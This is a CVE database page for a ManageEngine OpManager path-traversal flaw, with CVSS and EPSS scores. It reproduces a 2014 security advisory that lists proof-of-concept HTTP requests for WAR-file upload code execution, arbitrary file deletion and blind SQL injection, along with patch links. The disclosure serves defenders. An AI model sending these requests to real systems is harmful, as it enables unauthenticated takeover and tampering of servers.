CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Multiple directory traversal vulnerabilities in ZOHO ManageEngine OpManager 8 (build 88xx) through 11.4, IT360 10.3 and 10.4, and Social IT Plus 11.0 allow remote attackers or remote authenticated users to write and execute arbitrary files via a .. (dot dot) in the (1) fileName parameter to the MigrateLEEData servlet or (2) zipFileName parameter in a downloadFileFromProbe operation to the MigrateCentralData servlet.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.01%
–
–
2022-02-13
–
–
2.01%
–
–
2022-04-03
–
–
2.01%
–
–
2022-04-10
–
–
2.01%
–
–
2022-09-11
–
–
2.01%
–
–
2023-03-12
–
–
–
96.08%
–
2023-04-16
–
–
–
95.88%
–
2023-05-28
–
–
–
95.72%
–
2023-07-09
–
–
–
95.08%
–
2023-08-20
–
–
–
94.37%
–
2024-01-07
–
–
–
94.62%
–
2024-06-02
–
–
–
94.62%
–
2024-06-09
–
–
–
93.85%
–
2024-10-27
–
–
–
93.42%
–
2024-12-08
–
–
–
91.99%
–
2025-01-19
–
–
–
91.99%
–
2025-03-18
–
–
–
–
67.73%
2025-03-30
–
–
–
–
58.42%
2025-04-08
–
–
–
–
82.75%
2025-04-08
–
–
–
–
82.75,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2014-11-09 23h00 +00:00 Author : Pedro Ribeiro EDB Verified : No
>> Multiple vulnerabilities in ManageEngine OpManager, Social IT Plus and IT360
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 27/09/2014 (#1 and #2), 09/11/2014 (#3 and #4) / Last
updated: 09/11/2014
>> Background on the affected products:
"ManageEngine OpManager is a network and data center infrastructure
management software that helps large enterprises, service providers
and SMEs manage their data centers and IT infrastructure efficiently
and cost effectively. Automated workflows, intelligent alerting
engines, configurable discovery rules, and extendable templates enable
IT teams to setup a 24x7 monitoring system within hours of
installation."
"Social IT Plus offers a cascading wall that helps IT folks to start
discussions, share articles and videos easily and quickly. Other team
members can access it and post comments and likes on the fly."
"Managing mission critical business applications is now made easy
through ManageEngine IT360. With agentless monitoring methodology,
monitor your applications, servers and databases with ease. Agentless
monitoring of your business applications enables you high ROI and low
TOC. With integrated network monitoring and bandwidth utilization,
quickly troubleshoot any performance related issue with your network
and assign issues automatically with ITIL based ServiceDesk
integration."
>> Technical details:
(#1 and #2 were previously released in September, see [2])
#3
Vulnerability: Remote code execution via file upload (unauthenticated
on OpManager and Social IT)
CVE-2014-7866
Constraints: no authentication needed for OpManager and Social IT;
authenticated in IT360
a)
POST /servlet/MigrateLEEData?fileName=../tomcat/webapps/warfile.war%00
<... WAR file payload ...>
Affected versions: Unknown, at least OpManager v8 build 88XX to 11.4;
IT360 10.3/10.4; Social IT 11.0
b)
POST /servlet/MigrateCentralData?operation=downloadFileFromProbe&zipFileName=../tomcat/webapps/warfile.war%00
<... WAR file payload ...>
Affected versions: Unknown, at least OpManager v8 build 88XX to 11.4;
IT360 10.3/10.4; Social IT 11.0
#4
Vulnerability: Blind SQL injection (unauthenticated)
CVE-2014-7868
Constraints: no authentication needed for OpManager and Social IT;
authenticated in IT360
a)
POST /servlet/APMBVHandler?OPERATION_TYPE=Delete&OPM_BVNAME=[SQLi]
POST /servlet/APMBVHandler?OPERATION_TYPE=Delete&OPM_BVNAME=aaa'%3bcreate+table+pulicia+(bolas+text)%3b--+
Affected versions: Unknown, at least the current versions (OpManager
11.3/11.4; IT360 10.3/10.4; Social IT 11.0)
b)
POST /servlet/DataComparisonServlet?operation=compare&numPrimaryKey=1337&query=[SQLi]
--> runs direct query in db!
POST /servlet/DataComparisonServlet?operation=compare&numPrimaryKey=1337&query=create+table+panicia+(bolos+text)
Affected versions: Unknown, at least the current versions (OpManager
11.3/11.4; IT360 10.3/10.4; Social IT 11.0)
>> Fix:
Upgrade to OpManager 11.3 or 11.4, then install patches [B] and [C].
This patch can be applied to all the applications but only for the
latest version of each (OpManager 11.3/11.4, Social IT 11.0, IT360
10.4).
The fix will be included in OpManager version 11.5 which should be
released sometime in late November or December 2014. No indication was
given for when fixed versions of IT360 and Social IT Plus will be
released.
[B] https://support.zoho.com/portal/manageengine/helpcenter/articles/sql-injection-vulnerability-fix
Resolves #3
[C] https://support.zoho.com/portal/manageengine/helpcenter/articles/fix-for-remote-code-execution-via-file-upload-vulnerability
Resolves #4
[1]
http://seclists.org/fulldisclosure/2014/Aug/55
http://seclists.org/fulldisclosure/2014/Aug/75
http://seclists.org/fulldisclosure/2014/Aug/88
http://seclists.org/fulldisclosure/2014/Sep/1
http://seclists.org/fulldisclosure/2014/Sep/110
http://seclists.org/fulldisclosure/2014/Nov/12
http://seclists.org/fulldisclosure/2014/Nov/18
[2]
http://seclists.org/fulldisclosure/2014/Sep/110
[3]
https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt
Publication date : 2014-11-08 23h00 +00:00 Author : Pedro Ribeiro EDB Verified : No
>> Multiple vulnerabilities in ManageEngine OpManager, Social IT Plus and IT360
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 27/09/2014 (#1 and #2), 09/11/2014 (#3 and #4) / Last updated: 09/11/2014
>> Background on the affected products:
"ManageEngine OpManager is a network and data center infrastructure management software that helps large enterprises, service providers and SMEs manage their data centers and IT infrastructure efficiently and cost effectively. Automated workflows, intelligent alerting engines, configurable discovery rules, and extendable templates enable IT teams to setup a 24x7 monitoring system within hours of installation."
"Social IT Plus offers a cascading wall that helps IT folks to start discussions, share articles and videos easily and quickly. Other team members can access it and post comments and likes on the fly."
"Managing mission critical business applications is now made easy through ManageEngine IT360. With agentless monitoring methodology, monitor your applications, servers and databases with ease. Agentless monitoring of your business applications enables you high ROI and low TOC. With integrated network monitoring and bandwidth utilization, quickly troubleshoot any performance related issue with your network and assign issues automatically with ITIL based ServiceDesk integration."
>> Technical details:
#1
Vulnerability: Remote code execution via WAR file upload
Constraints: unauthenticated on OpManager and Social IT; authenticated in IT360
a)
CVE-2014-6034
POST /servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector?regionID=../../../tomcat/webapps&FILENAME=payload.war
<... WAR file payload ...>
Affected versions: OpManager v8.8 to v11.4; Social IT Plus v11.0; IT360 v? to v10.4
A Metasploit module that exploits this vulnerability has been released.
b)
CVE-2014-6035
POST /servlets/FileCollector?AGENTKEY=123&FILENAME=../../../tomcat/webapps/warfile.war
<... WAR file payload ...>
Affected versions: OpManager v? to v11.4
#2
Vulnerability: Arbitrary file deletion
CVE-2014-6036
Constraints: unauthenticated on OpManager and Social IT; authenticated in IT360
Affected versions: OpManager v? to v11.4; Social IT Plus v11.0; IT360 v? to v10.3/10.4
POST /servlets/multipartRequest?customIcon=delete&fileName=../../../../boot.ini
#3
Vulnerability: Remote code execution via file upload
CVE-2014-7866
Constraints: unauthenticated on OpManager and Social IT; authenticated in IT360
a)
POST /servlet/MigrateLEEData?fileName=../tomcat/webapps/warfile.war%00
<... WAR file payload ...>
Affected versions: Unknown, at least OpManager v8 build 88XX to 11.4; IT360 10.3/10.4; Social IT 11.0
b)
POST /servlet/MigrateCentralData?operation=downloadFileFromProbe&zipFileName=../tomcat/webapps/warfile.war%00
<... WAR file payload ...>
Affected versions: Unknown, at least OpManager v8 build 88XX to 11.4; IT360 10.3/10.4; Social IT 11.0
#4
Vulnerability: Blind SQL injection
CVE-2014-7868
Constraints: unauthenticated on OpManager and Social IT; authenticated in IT360
a)
POST /servlet/APMBVHandler?OPERATION_TYPE=Delete&OPM_BVNAME=[SQLi]
POST /servlet/APMBVHandler?OPERATION_TYPE=Delete&OPM_BVNAME=aaa'%3bcreate+table+pulicia+(bolas+text)%3b--+
Affected versions: Unknown, at least the current versions (OpManager 11.3/11.4; IT360 10.3/10.4; Social IT 11.0)
b)
POST /servlet/DataComparisonServlet?operation=compare&numPrimaryKey=1337&query=[SQLi] --> runs direct query in db!
POST /servlet/DataComparisonServlet?operation=compare&numPrimaryKey=1337&query=create+table+panicia+(bolos+text)
Affected versions: Unknown, at least the current versions (OpManager 11.3/11.4; IT360 10.3/10.4; Social IT 11.0)
>> Fix:
Upgrade to OpManager 11.3 or 11.4, then install patches [A], [B] and [C].
This patch can be applied to all the applications but only for the latest version of each (OpManager 11.3/11.4, Social IT 11.0, IT360 10.4).
The fix will be included in OpManager version 11.5 which should be released sometime in late November or December 2014. No indication was given for when fixed versions of IT360 and Social IT Plus will be released.
[A] https://support.zoho.com/portal/manageengine/helpcenter/articles/servlet-vulnerability-fix
Resolves #1 and #2
[B] https://support.zoho.com/portal/manageengine/helpcenter/articles/sql-injection-vulnerability-fix
Resolves #3
[C] https://support.zoho.com/portal/manageengine/helpcenter/articles/fix-for-remote-code-execution-via-file-upload-vulnerability
Resolves #4
================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
Products Mentioned
Configuraton 0
Zohocorp>>Manageengine_social_it_plus >> Version 11.0